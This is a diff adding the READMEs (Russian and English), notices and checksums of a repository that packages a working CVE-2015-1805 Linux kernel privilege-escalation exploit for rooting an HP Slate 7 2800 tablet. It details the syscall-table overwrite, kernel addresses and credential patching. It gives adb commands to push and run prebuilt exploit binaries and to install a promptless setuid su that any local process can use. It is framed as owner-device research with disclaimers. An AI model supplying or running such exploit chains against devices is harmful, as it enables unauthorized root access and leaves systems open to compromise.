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 <https://www.gnu.org/licenses/>.
  The GNU General Public License does not permit incorporating your program
 into proprietary programs.  If your program is a subroutine library, you
 may consider it more useful to permit linking proprietary applications with
 the library.  If this is what you want to do, use the GNU Lesser General
 Public License instead of this License.  But first, please read
 <https://www.gnu.org/philosophy/why-not-lgpl.html>.
@@ -0,0 +1,14 @@
 The CVE-2015-1805 exploit code is derived from:
  mobilelinux/iovy_root_research, commit f945796
  https://github.com/mobilelinux/iovy_root_research
 That project states that it was inspired by:
  dosomder/iovyroot
  https://github.com/dosomder/iovyroot
 The imported source files retain their original copyright and license
 notices. Device-specific modifications, the installer, the minimal su
 wrapper, documentation, and build scripts are distributed under GPL-3.0.
@@ -0,0 +1,442 @@
 # Root для HP Slate 7 2800 на Android 4.1.1
 [English](README.md) | **Русский**
 Этот репозиторий содержит полный автономный комплект для получения постоянного
 root-доступа на **HP Slate 7 2800** с прошивкой **1.05.18** и ядром
 **Linux 3.0.8+** через локальную уязвимость **CVE-2015-1805**. Комплект был
 реально выполнен на планшете, а результат проверен из нового ADB-сеанса и после
 обычной перезагрузки.
 Это не универсальный Android-root. Эксплойт привязан к конкретной конфигурации
 ядра HP. Не запускайте его на другой модели, прошивке или версии ядра.
 ## Проверенная конфигурация
 | Параметр | Проверенное значение |
 |---|---|
 | Производитель и модель | HP Slate 7 2800 |
 | Android | 4.1.1, API 16, сборка JRO03H |
 | Product / device | `t7h` / `pine` |
 | Процессор | Rockchip RK3066, ARMv7 |
 | Build fingerprint | `hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys` |
 | Ядро | `3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015` |
 | ABI | 32-битный ARM EABI5 |
 | SELinux | отсутствует в конфигурации ядра (`CONFIG_SECURITY` отключён) |
 | Раздел `/system` | ext4, штатно смонтирован read-only |
 Проверить устройство без каких-либо изменений можно так:
 ```sh
 adb devices -l
 adb shell getprop ro.product.model
 adb shell getprop ro.build.fingerprint
 adb shell getprop ro.build.version.sdk
 adb shell cat /proc/version
 ```
 Или скриптом, который откажется продолжать при несовпадении fingerprint или
 версии ядра:
 ```sh
 ./scripts/check-target.sh
 ./scripts/check-target.sh ADB_SERIAL
 ```
 ## Что находится в репозитории
 ```text
 .
 ├── bin/
 │   ├── hp-slate7-cve-2015-1805-root  # проверенный эксплойт
 │   ├── hp-slate7-install-root        # установщик su в /system
 │   └── hp-slate7-su                  # минимальный setuid-root wrapper
 ├── src/
 │   ├── exploit/                      # исходники CVE и device-specific правки
 │   ├── installer/install-root.c      # исходник установщика
 │   └── su/rootsh.S                   # исходник минимального su
 ├── scripts/
 │   ├── build.sh                      # пересборка всех трёх ELF-файлов
 │   ├── check-target.sh               # безопасная проверка совместимости
 │   └── root-device.sh                # проверка, загрузка и запуск комплекта
 ├── SHA256SUMS                        # хеши проверенных bin/*
 ├── NOTICE                            # происхождение исходного PoC
 └── LICENSE                           # GPL-3.0
 ```
 ### Формат и назначение файлов
 | Файл | Формат | Размер | Назначение |
 |---|---:|---:|---|
 | `bin/hp-slate7-cve-2015-1805-root` | ELF 32-bit ARM EABI5, static, unstripped | 2 722 320 байт | Эксплуатация CVE, получение uid 0 и запуск установщика |
 | `bin/hp-slate7-install-root` | ELF 32-bit ARM EABI5, static, stripped | 22 596 байт | Кратковременно перемонтирует `/system` rw, устанавливает `su`, возвращает ro |
 | `bin/hp-slate7-su` | ELF 32-bit ARM EABI5, static, stripped | 656 байт | Делает `setresgid(0,0,0)`, `setresuid(0,0,0)` и запускает `/system/bin/sh` |
 SHA-256 проверенных бинарников:
 ```text
 6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
 4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su
 ```
 Проверка на macOS:
 ```sh
 shasum -a 256 -c SHA256SUMS
 ```
 Проверка на Linux:
 ```sh
 sha256sum -c SHA256SUMS
 ```
 Используйте для планшета файлы из `bin/`: это именно те байты, которые были
 проверены на устройстве. Каталог `build/` предназначен для локальной
 пересборки и в Git не добавляется.
 ## Какая уязвимость используется
 [CVE-2015-1805](https://nvd.nist.gov/vuln/detail/CVE-2015-1805) — ошибка в
 реализациях `pipe_read()` и `pipe_write()` старых ядер Linux. При ошибке
 атомарного копирования код некорректно продолжает обход массива `iovec`, что
 может вывести указатель за его границы. В результате локальный непривилегированный
 процесс может повредить память, аварийно завершить ядро или повысить привилегии.
 Подробный разбор механизма опубликован в
 [oss-security](https://www.openwall.com/lists/oss-security/2015/06/06/2), а
 исправления находятся, в частности, в upstream-коммитах Linux
 [`637b58c`](https://github.com/torvalds/linux/commit/637b58c2887e5e57850865839cc75f59184b23d1)
 и [`f0d1bec`](https://github.com/torvalds/linux/commit/f0d1bec9d58d4c038d0ac958c9af82be6eb18045).
 Ядро планшета `3.0.8+` оказалось уязвимо. До изменения kernel memory была
 выполнена отдельная безвредная проверка той же гонки: обе цели записи находились
 в обычной памяти тестового процесса. Она завершилась результатом
 `CVE-2015-1805: VULNERABLE`, после чего планшет оставался доступен по ADB.
 ## Как устроена цепочка повышения привилегий
 1. Эксплойт создаёт гонку между `readv()`, изменением отображения памяти и
   обработкой большого массива `iovec` в уязвимом pipe-коде ядра.
 2. Полученный примитив записи подменяет временно свободную запись 222 в
   `sys_call_table` адресом небольшого ARM-trampoline из процесса эксплойта.
 3. Адрес таблицы вычисляется через high vector по адресу `0xffff0008`.
   На проверенном устройстве инструкция равна `0xe59ff410`, literal указывает
   на `vector_swi = 0xc04d0d40`.
 4. Из [официального архива ядра HP Open Source 1.05.10](https://h30671.www3.hp.com/osp/Slate_7_Open_Source_Slate_7_28XX_Open_Source-1.05.10-20140212.tgz)
   (SHA-256 архива:
   `dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2`)
   с defconfig
   `rk30_t7h_dvt_defconfig` независимо собраны `vector_swi` и
   `sys_call_table`: их смещение равно `0xc4`. В установленной прошивке нет
   OABI и seccomp, поэтому итоговый runtime-адрес таблицы — `0xc04d0e04`.
 5. Trampoline состоит ровно из шести ARM-инструкций. Он получает текущий `sp`,
   выравнивает его на размер kernel stack 8192 байта и записывает `-1` только
   в `thread_info.addr_limit` по смещению 8. Внешних вызовов, пролога и
   compiler runtime в нём нет.
 6. Сразу после возврата из временного syscall запись 222 восстанавливается из
   записи 223. В исходниках HP обе записи являются `sys_ni_syscall`; на
   проверенном ядре восстановлен указатель `0xc051900c`.
 7. После расширения `addr_limit` pipe-копирование читает текущий
   `task_struct`, находит `cred` и проверяет найденную структуру по текущим
   uid/gid, выравниванию, счётчику ссылок и совпадению `real_cred == cred`.
   Только после этих проверок uid/gid обнуляются, а capability masks
   заполняются единицами.
 8. Процесс получает `uid=0` и запускает `/data/local/tmp/install-root`.
   Установщик перемонтирует `/system` в rw, копирует payload в
   `/system/xbin/su`, выставляет `root:root` и режим `06755`, вызывает `sync()`
   и возвращает `/system` в read-only.
 Исходная функция `current_thread_info()` из старых kernel headers была
 несовместима с современным Clang при `-O0`: ранний прототип читал
 неинициализированное слово вместо регистра `sp` и мог уронить ядро. В данном
 репозитории она заменена проверенным naked ARM-trampoline. Ранний бинарник в
 репозиторий не включён.
 ## Какой софт нужен
 ### Для готовых файлов из `bin/`
 - компьютер с macOS или Linux; Windows также возможен при наличии корректного
  ADB USB-драйвера, но данный запуск проверялся на macOS;
 - `adb` из Android SDK Platform Tools;
 - исправный USB-кабель с передачей данных;
 - включённая «Отладка по USB» и подтверждённый RSA-ключ компьютера на экране
  планшета.
 Не нужны Android NDK, Java, Python, fastboot, разблокировка bootloader,
 custom recovery, root-APK или доступ к сети. Эксплойт и payload статически
 скомпонованы.
 ### Для пересборки
 - Zig 0.15.2; достаточно распаковать portable archive, устанавливать пакет в
  систему не требуется;
 - Bash;
 - `shasum` либо `sha256sum` для контроля результата.
 Android NDK по-прежнему не нужен: Zig предоставляет ARM musl cross-toolchain.
 ## Подготовка планшета
 1. Зарядите планшет минимум до 50%. Во время подтверждённого запуска заряд был
   около 80%.
 2. Загрузите Android обычным способом и разблокируйте экран.
 3. Включите «Для разработчиков» → «Отладка по USB».
 4. Подключите кабель и подтвердите RSA-запрос отладки, если Android его покажет.
 5. Не запускайте Towelroot, KingRoot и другие root-приложения параллельно.
 6. Закройте лишние приложения. Эксплойт создаёт много потоков и близко подходит
   к лимитам этого старого устройства.
 Проверьте связь:
 ```sh
 adb devices -l
 ```
 Статус должен быть `device`, а не `offline` или `unauthorized`.
 ## Получение root: ручная последовательность
 Перейдите в корень репозитория и сначала проверьте точное совпадение устройства:
 ```sh
 ./scripts/check-target.sh
 ```
 Если подключено несколько устройств, передавайте serial во всех командах через
 `adb -s SERIAL` или используйте переменную `ANDROID_SERIAL`.
 Загрузите три файла под именами, которые ожидают друг друга:
 ```sh
 adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
 adb push bin/hp-slate7-install-root /data/local/tmp/install-root
 adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
 ```
 Выставьте права и сбросьте staging-файлы на накопитель:
 ```sh
 adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
 ```
 Запустите эксплойт **один раз**:
 ```sh
 adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
 ```
 Подтверждённый успешный вывод:
 ```text
 offset:c4
 addr:c04d0d40
    [+] Done
 restored syscall 222 to 0xc051900c
 exploit rc=0 uid=0 gid=0
 installer uid=0 gid=0
 install-su ok
 DEVICE_RC=0
 ```
 Если устройство на несколько секунд исчезло из ADB, не запускайте эксплойт
 повторно. Дождитесь его возвращения:
 ```sh
 adb wait-for-device
 ```
 ## Автоматизированный запуск
 Скрипт выполняет проверку fingerprint и ядра, проверяет SHA-256, загружает
 файлы, просит ввести `ROOT`, запускает эксплойт и проверяет `uid=0`:
 ```sh
 ./scripts/root-device.sh
 ```
 Для нескольких устройств:
 ```sh
 ./scripts/root-device.sh --serial ADB_SERIAL
 ```
 Флаг `--yes` убирает интерактивное подтверждение и предназначен только для
 осознанного автоматического запуска:
 ```sh
 ./scripts/root-device.sh --serial ADB_SERIAL --yes
 ```
 ## Проверка результата
 Проверяйте root из **нового** ADB shell, а не по uid процесса эксплойта:
 ```sh
 adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
 adb shell 'ls -l /system/xbin/su'
 adb shell 'cat /proc/mounts' | grep ' /system '
 ```
 Ожидается:
 ```text
 uid=2000(shell) ...
 uid=0(root) gid=0(root) ...
 SU_RC=0
 -rwsr-sr-x root root ... su
 ... /system ext4 ro,...
 ```
 Затем удалите только временные staging-файлы. Установленный
 `/system/xbin/su` не удаляется:
 ```sh
 adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
 ```
 Комплект не создаёт `/data/local.prop` и не изменяет пользовательские данные.
 Выполните обычную перезагрузку и итоговую проверку постоянного root:
 ```sh
 adb reboot
 adb wait-for-device
 adb shell getprop sys.boot_completed
 adb shell '/system/xbin/su -c id'
 ```
 На проверенном планшете после перезагрузки было получено:
 ```text
 uid=0(root) gid=0(root) ...
 ```
 Установленный файл был выгружен обратно с планшета и побайтно совпал с
 `bin/hp-slate7-su`:
 ```text
 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
 ```
 ## Использование root
 Выполнение одной команды:
 ```sh
 adb shell '/system/xbin/su -c id'
 adb shell '/system/xbin/su -c "ls -la /data"'
 ```
 `hp-slate7-su` — намеренно минимальный wrapper без Android-приложения,
 диалогов подтверждения, daemon и журнала разрешений. Любой локальный процесс,
 который способен исполнить `/system/xbin/su`, потенциально может получить root.
 Не используйте этот устаревший планшет для конфиденциальных данных после root и
 не устанавливайте на него непроверенные APK.
 ## Пересборка из исходников
 Укажите путь к portable Zig 0.15.2 или добавьте `zig` в `PATH`:
 ```sh
 ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
 ```
 Результат появится в `build/`:
 ```text
 build/hp-slate7-cve-2015-1805-root
 build/hp-slate7-install-root
 build/hp-slate7-su
 ```
 Проверить формат:
 ```sh
 file build/hp-slate7-*
 ```
 Все три файла должны быть 32-битными ARM EABI5 ELF. При проверенной версии
 Zig 0.15.2 установщик и `su` пересобираются побайтно идентично файлам из
 `bin/`. Хеш эксплойта может отличаться из-за абсолютных путей в DWARF и linker
 metadata; его критический шестикомандный trampoline при проверочной пересборке
 совпал побайтно. Пересборка не заменяет контрольные суммы файлов из `bin/`,
 которые фактически запускались на планшете.
 ## Возможные проблемы
 ### `unauthorized`
 Разблокируйте экран и подтвердите RSA-ключ USB-отладки. Если запрос не появился,
 переподключите кабель и повторите `adb devices -l`.
 ### `offline` или устройство исчезло
 Подождите несколько секунд и выполните `adb wait-for-device`. Если планшет
 выключился, включите его обычной кнопкой Power. Не запускайте второй экземпляр
 эксплойта одновременно.
 ### Эксплойт не вывел `[+] Done`
 CVE эксплуатируется через гонку и теоретически может не сработать. Перезагрузите
 планшет перед единственной повторной попыткой. Не запускайте бинарник циклом:
 ошибка гонки способна аварийно завершить ядро.
 ### Есть `su`, но команда завершается с кодом 127
 Проверьте SHA-256 файла. Ранний исследовательский wrapper неправильно получал
 `argv` на ARM и завершался с 127. В этом репозитории находится исправленная
 656-байтная версия с SHA-256
 `40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e`.
 ### На экране остаётся логотип HP, но ADB уже доступен
 Проверьте реальное состояние Android:
 ```sh
 adb shell getprop sys.boot_completed
 adb shell dumpsys window windows
 ```
 Значение `sys.boot_completed=1` означает, что Android загрузился, даже если
 физический дисплей ещё показывает старый кадр.
 ## Что проверялось и что не использовалось
 На устройстве были безопасно исключены либо оказались непригодными другие
 общеизвестные пути: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056,
 CVE-2013-4787, Dirty COW и PingPongRoot. Towelroot/CVE-2014-3153 приводил к
 падению этого ядра и не должен использоваться. CVE-2014-7951 позволяла записать
 файл через ADB restore traversal, но firmware HP не загружала
 `/data/local.prop`, поэтому root этим способом не получался.
 Bootloader использует старый Rockchip loader и не появился как стандартное
 fastboot-устройство. Прошивка recovery или разблокировка bootloader для данного
 результата не потребовались.
 ## Происхождение и лицензия
 Основой exploit-кода послужил
 [`mobilelinux/iovy_root_research`](https://github.com/mobilelinux/iovy_root_research),
 commit `f945796`, который в свою очередь указывает на
 [`dosomder/iovyroot`](https://github.com/dosomder/iovyroot). Device-specific
 изменения включают ограничение количества потоков, исправление таймаута,
 naked ARM-trampoline, раннее восстановление syscall-таблицы, валидацию `cred`
 и отключение неприменимой SELinux-ветки.
 Исходные уведомления сохранены. Репозиторий распространяется по GPL-3.0; см.
 `LICENSE` и `NOTICE`.
 ## Ответственность
 Эксплуатация kernel memory всегда несёт риск перезагрузки, повреждения системы
 или потери данных. Комплект предназначен только для принадлежащего вам
 HP Slate 7 2800 с точно совпадающей прошивкой. Сделайте резервную копию важных
 данных и не применяйте его к чужим устройствам.
 ---
 Исследование безопасности и документация выполнены при содействии OpenAI Codex
 на базе [GPT-5.6 Sol](https://developers.openai.com/api/docs/models/gpt-5.6-sol)
 с доступом к возможностям кибербезопасности Daybreak Blue.
@@ -0,0 +1,445 @@
 # Root for the HP Slate 7 2800 on Android 4.1.1
 **English** | [Русский](README.RU.md)
 This repository contains a complete, self-contained kit for obtaining persistent
 root access on the **HP Slate 7 2800** running firmware **1.05.18** and kernel
 **Linux 3.0.8+** by exploiting the local vulnerability **CVE-2015-1805**. The
 kit was run on the actual tablet, and the result was verified from a fresh ADB
 session and after a normal reboot.
 This is not a universal Android rooting tool. The exploit is specific to this
 HP kernel configuration. Do not run it on a different model, firmware, or
 kernel version.
 ## Verified configuration
 | Parameter | Verified value |
 |---|---|
 | Manufacturer and model | HP Slate 7 2800 |
 | Android | 4.1.1, API 16, build JRO03H |
 | Product / device | `t7h` / `pine` |
 | Processor | Rockchip RK3066, ARMv7 |
 | Build fingerprint | `hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys` |
 | Kernel | `3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015` |
 | ABI | 32-bit ARM EABI5 |
 | SELinux | not present in the kernel configuration (`CONFIG_SECURITY` is disabled) |
 | `/system` partition | ext4, mounted read-only by default |
 You can inspect the device without making any changes:
 ```sh
 adb devices -l
 adb shell getprop ro.product.model
 adb shell getprop ro.build.fingerprint
 adb shell getprop ro.build.version.sdk
 adb shell cat /proc/version
 ```
 Alternatively, use the script below. It will refuse to proceed if either the
 fingerprint or kernel version does not match:
 ```sh
 ./scripts/check-target.sh
 ./scripts/check-target.sh ADB_SERIAL
 ```
 ## Repository contents
 ```text
 .
 ├── bin/
 │   ├── hp-slate7-cve-2015-1805-root  # verified exploit
 │   ├── hp-slate7-install-root        # installs su into /system
 │   └── hp-slate7-su                  # minimal setuid-root wrapper
 ├── src/
 │   ├── exploit/                      # CVE source and device-specific changes
 │   ├── installer/install-root.c      # installer source
 │   └── su/rootsh.S                   # minimal su source
 ├── scripts/
 │   ├── build.sh                      # rebuilds all three ELF files
 │   ├── check-target.sh               # safe compatibility check
 │   └── root-device.sh                # verifies, uploads, and runs the kit
 ├── SHA256SUMS                        # hashes of the verified bin/* files
 ├── NOTICE                            # attribution for the original PoC
 └── LICENSE                           # GPL-3.0
 ```
 ### File formats and purposes
 | File | Format | Size | Purpose |
 |---|---:|---:|---|
 | `bin/hp-slate7-cve-2015-1805-root` | ELF 32-bit ARM EABI5, static, unstripped | 2,722,320 bytes | Exploits the CVE, obtains uid 0, and launches the installer |
 | `bin/hp-slate7-install-root` | ELF 32-bit ARM EABI5, static, stripped | 22,596 bytes | Temporarily remounts `/system` rw, installs `su`, and restores ro |
 | `bin/hp-slate7-su` | ELF 32-bit ARM EABI5, static, stripped | 656 bytes | Calls `setresgid(0,0,0)` and `setresuid(0,0,0)`, then launches `/system/bin/sh` |
 SHA-256 checksums of the verified binaries:
 ```text
 6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
 4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su
 ```
 Verification on macOS:
 ```sh
 shasum -a 256 -c SHA256SUMS
 ```
 Verification on Linux:
 ```sh
 sha256sum -c SHA256SUMS
 ```
 Use the files from `bin/` on the tablet: these are the exact bytes that were
 verified on the device. The `build/` directory is intended for local rebuilds
 and is not tracked by Git.
 ## Vulnerability used
 [CVE-2015-1805](https://nvd.nist.gov/vuln/detail/CVE-2015-1805) is a flaw in the
 `pipe_read()` and `pipe_write()` implementations of older Linux kernels. When
 an atomic copy fails, the code incorrectly continues traversing the `iovec`
 array, potentially moving a pointer beyond its bounds. As a result, a local
 unprivileged process can corrupt memory, crash the kernel, or escalate its
 privileges. A detailed explanation of the mechanism was published on
 [oss-security](https://www.openwall.com/lists/oss-security/2015/06/06/2). The
 fixes can be found, among other places, in the upstream Linux commits
 [`637b58c`](https://github.com/torvalds/linux/commit/637b58c2887e5e57850865839cc75f59184b23d1)
 and [`f0d1bec`](https://github.com/torvalds/linux/commit/f0d1bec9d58d4c038d0ac958c9af82be6eb18045).
 The tablet's `3.0.8+` kernel proved vulnerable. Before modifying kernel memory,
 the same race was tested separately with a harmless probe whose two write
 targets were both located in the test process's ordinary memory. It reported
 `CVE-2015-1805: VULNERABLE`, and the tablet remained accessible over ADB.
 ## Privilege-escalation chain
 1. The exploit creates a race between `readv()`, memory mapping changes, and
   processing a large `iovec` array in the kernel's vulnerable pipe code.
 2. The resulting write primitive temporarily replaces the unused entry 222 in
   `sys_call_table` with the address of a small ARM trampoline in the exploit
   process.
 3. The table address is calculated through the high vector at `0xffff0008`.
   On the verified device, the instruction is `0xe59ff410`, and its literal
   points to `vector_swi = 0xc04d0d40`.
 4. `vector_swi` and `sys_call_table` were independently assembled from the
   [official HP Open Source 1.05.10 kernel archive](https://h30671.www3.hp.com/osp/Slate_7_Open_Source_Slate_7_28XX_Open_Source-1.05.10-20140212.tgz)
   (archive SHA-256:
   `dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2`)
   with the `rk30_t7h_dvt_defconfig` defconfig. Their offset is `0xc4`. The
   installed firmware has neither OABI nor seccomp, so the table's final
   runtime address is `0xc04d0e04`.
 5. The trampoline consists of exactly six ARM instructions. It obtains the
   current `sp`, aligns it to the 8,192-byte kernel stack size, and writes `-1`
   only to `thread_info.addr_limit` at offset 8. It contains no external calls,
   prologue, or compiler runtime code.
 6. Immediately after the temporary syscall returns, entry 222 is restored from
   entry 223. Both entries are `sys_ni_syscall` in the HP source; the pointer
   restored on the verified kernel is `0xc051900c`.
 7. Once `addr_limit` has been widened, pipe copying reads the current
   `task_struct`, locates `cred`, and validates the structure using the current
   uid/gid values, alignment, reference count, and the `real_cred == cred`
   condition. Only after these checks are the uid/gid values zeroed and the
   capability masks filled with ones.
 8. The process obtains `uid=0` and launches `/data/local/tmp/install-root`.
   The installer remounts `/system` rw, copies the payload to
   `/system/xbin/su`, assigns `root:root` ownership and mode `06755`, calls
   `sync()`, and remounts `/system` read-only.
 The original `current_thread_info()` function from the old kernel headers was
 incompatible with modern Clang at `-O0`: an early prototype read an
 uninitialized word instead of the `sp` register and could crash the kernel. In
 this repository, it has been replaced with a verified naked ARM trampoline.
 The early binary is not included in the repository.
 ## Required software
 ### To use the ready-made files from `bin/`
 - a computer running macOS or Linux; Windows is also possible with a suitable
  ADB USB driver, but this procedure was verified on macOS;
 - `adb` from Android SDK Platform Tools;
 - a working USB data cable;
 - USB debugging enabled and the computer's RSA key accepted on the tablet.
 You do not need the Android NDK, Java, Python, fastboot, an unlocked bootloader,
 a custom recovery, a rooting APK, or network access. The exploit and payload
 are statically linked.
 ### To rebuild from source
 - Zig 0.15.2; unpacking the portable archive is sufficient, with no system-wide
  package installation required;
 - Bash;
 - `shasum` or `sha256sum` to verify the result.
 The Android NDK is still not required: Zig provides an ARM musl cross-toolchain.
 ## Preparing the tablet
 1. Charge the tablet to at least 50%. It was at approximately 80% during the
   verified run.
 2. Boot Android normally and unlock the screen.
 3. Enable Developer options -> USB debugging.
 4. Connect the cable and accept the USB debugging RSA prompt if Android shows
   it.
 5. Do not run Towelroot, KingRoot, or other rooting applications concurrently.
 6. Close unnecessary applications. The exploit creates many threads and comes
   close to the limits of this old device.
 Check the connection:
 ```sh
 adb devices -l
 ```
 The status must be `device`, not `offline` or `unauthorized`.
 ## Obtaining root: manual procedure
 Change to the repository root and first verify that the device matches exactly:
 ```sh
 ./scripts/check-target.sh
 ```
 If multiple devices are connected, pass the serial number to every command
 using `adb -s SERIAL`, or set the `ANDROID_SERIAL` environment variable.
 Upload the three files using the names they expect for one another:
 ```sh
 adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
 adb push bin/hp-slate7-install-root /data/local/tmp/install-root
 adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
 ```
 Set the permissions and flush the staged files to storage:
 ```sh
 adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
 ```
 Run the exploit **once**:
 ```sh
 adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
 ```
 Verified successful output:
 ```text
 offset:c4
 addr:c04d0d40
    [+] Done
 restored syscall 222 to 0xc051900c
 exploit rc=0 uid=0 gid=0
 installer uid=0 gid=0
 install-su ok
 DEVICE_RC=0
 ```
 If the device disappears from ADB for a few seconds, do not run the exploit
 again. Wait for it to return:
 ```sh
 adb wait-for-device
 ```
 ## Automated procedure
 The script verifies the fingerprint and kernel, checks the SHA-256 hashes,
 uploads the files, asks you to enter `ROOT`, runs the exploit, and verifies
 `uid=0`:
 ```sh
 ./scripts/root-device.sh
 ```
 For multiple devices:
 ```sh
 ./scripts/root-device.sh --serial ADB_SERIAL
 ```
 The `--yes` option disables the interactive confirmation and is intended only
 for deliberate automated use:
 ```sh
 ./scripts/root-device.sh --serial ADB_SERIAL --yes
 ```
 ## Verifying the result
 Verify root from a **fresh** ADB shell, not from the exploit process's uid:
 ```sh
 adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
 adb shell 'ls -l /system/xbin/su'
 adb shell 'cat /proc/mounts' | grep ' /system '
 ```
 Expected output:
 ```text
 uid=2000(shell) ...
 uid=0(root) gid=0(root) ...
 SU_RC=0
 -rwsr-sr-x root root ... su
 ... /system ext4 ro,...
 ```
 Next, remove only the temporary staging files. The installed
 `/system/xbin/su` is not removed:
 ```sh
 adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
 ```
 The kit does not create `/data/local.prop` or modify user data.
 Perform a normal reboot and then verify persistent root:
 ```sh
 adb reboot
 adb wait-for-device
 adb shell getprop sys.boot_completed
 adb shell '/system/xbin/su -c id'
 ```
 The verified tablet produced the following result after reboot:
 ```text
 uid=0(root) gid=0(root) ...
 ```
 The installed file was pulled back from the tablet and matched
 `bin/hp-slate7-su` byte for byte:
 ```text
 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
 ```
 ## Using root
 To run a single command:
 ```sh
 adb shell '/system/xbin/su -c id'
 adb shell '/system/xbin/su -c "ls -la /data"'
 ```
 `hp-slate7-su` is an intentionally minimal wrapper with no Android app,
 confirmation prompts, daemon, or permission log. Any local process capable of
 executing `/system/xbin/su` can potentially obtain root. Do not use this
 obsolete tablet for sensitive data after rooting it, and do not install
 untrusted APKs.
 ## Rebuilding from source
 Specify the path to portable Zig 0.15.2, or add `zig` to `PATH`:
 ```sh
 ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
 ```
 The output will be written to `build/`:
 ```text
 build/hp-slate7-cve-2015-1805-root
 build/hp-slate7-install-root
 build/hp-slate7-su
 ```
 Check the file formats:
 ```sh
 file build/hp-slate7-*
 ```
 All three files must be 32-bit ARM EABI5 ELF files. With the verified Zig
 0.15.2 version, the installer and `su` rebuild byte-for-byte identically to the
 files in `bin/`. The exploit hash may differ because of absolute paths in DWARF
 and linker metadata; its critical six-instruction trampoline was byte-for-byte
 identical in the verification build. A rebuild does not replace the checksums
 of the files in `bin/` that were actually run on the tablet.
 ## Troubleshooting
 ### `unauthorized`
 Unlock the screen and accept the USB debugging RSA key. If the prompt does not
 appear, reconnect the cable and run `adb devices -l` again.
 ### `offline` or the device disappears
 Wait a few seconds and run `adb wait-for-device`. If the tablet has powered
 off, turn it on normally with the Power button. Do not run a second instance of
 the exploit concurrently.
 ### The exploit did not print `[+] Done`
 The CVE is exploited through a race and may theoretically fail. Reboot the
 tablet before making a single retry. Do not run the binary in a loop: a failed
 race can crash the kernel.
 ### `su` exists, but the command exits with code 127
 Verify the file's SHA-256 hash. An early research wrapper handled `argv`
 incorrectly on ARM and exited with code 127. This repository contains the
 corrected 656-byte version with SHA-256
 `40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e`.
 ### The HP logo remains on screen, but ADB is already available
 Check Android's actual state:
 ```sh
 adb shell getprop sys.boot_completed
 adb shell dumpsys window windows
 ```
 `sys.boot_completed=1` means that Android has booted even if the physical
 display is still showing an old frame.
 ## What was tested and what was not used
 Other well-known approaches were safely ruled out or found unsuitable on this
 device: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW,
 and PingPongRoot. Towelroot/CVE-2014-3153 crashed this kernel and must not be
 used. CVE-2014-7951 made it possible to write a file through ADB restore path
 traversal, but the HP firmware did not load `/data/local.prop`, so this method
 did not provide root.
 The bootloader uses an old Rockchip loader and did not appear as a standard
 fastboot device. Flashing a recovery or unlocking the bootloader was not
 required for this result.
 ## Provenance and license
 The exploit code is based on
 [`mobilelinux/iovy_root_research`](https://github.com/mobilelinux/iovy_root_research),
 commit `f945796`, which in turn references
 [`dosomder/iovyroot`](https://github.com/dosomder/iovyroot). Device-specific
 changes include reducing the thread count, fixing the timeout, using a naked
 ARM trampoline, restoring the syscall table early, validating `cred`, and
 disabling the inapplicable SELinux branch.
 The original notices have been preserved. The repository is distributed under
 GPL-3.0; see `LICENSE` and `NOTICE`.
 ## Disclaimer
 Exploiting kernel memory always carries a risk of rebooting the device,
 corrupting the system, or losing data. This kit is intended only for an
 HP Slate 7 2800 that you own and whose firmware matches exactly. Back up any
 important data, and do not use it on devices belonging to other people.
 ---
 Security research and documentation were completed with assistance from
 OpenAI Codex, powered by [GPT-5.6 Sol](https://developers.openai.com/api/docs/models/gpt-5.6-sol)
 with Daybreak Blue cybersecurity access.
@@ -0,0 +1,3 @@
 6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f  bin/hp-slate7-cve-2015-1805-root
 4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a  bin/hp-slate7-install-root
 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e  bin/hp-slate7-su
@@ -0,0 +1,47 @@
 #!/usr/bin/env bash
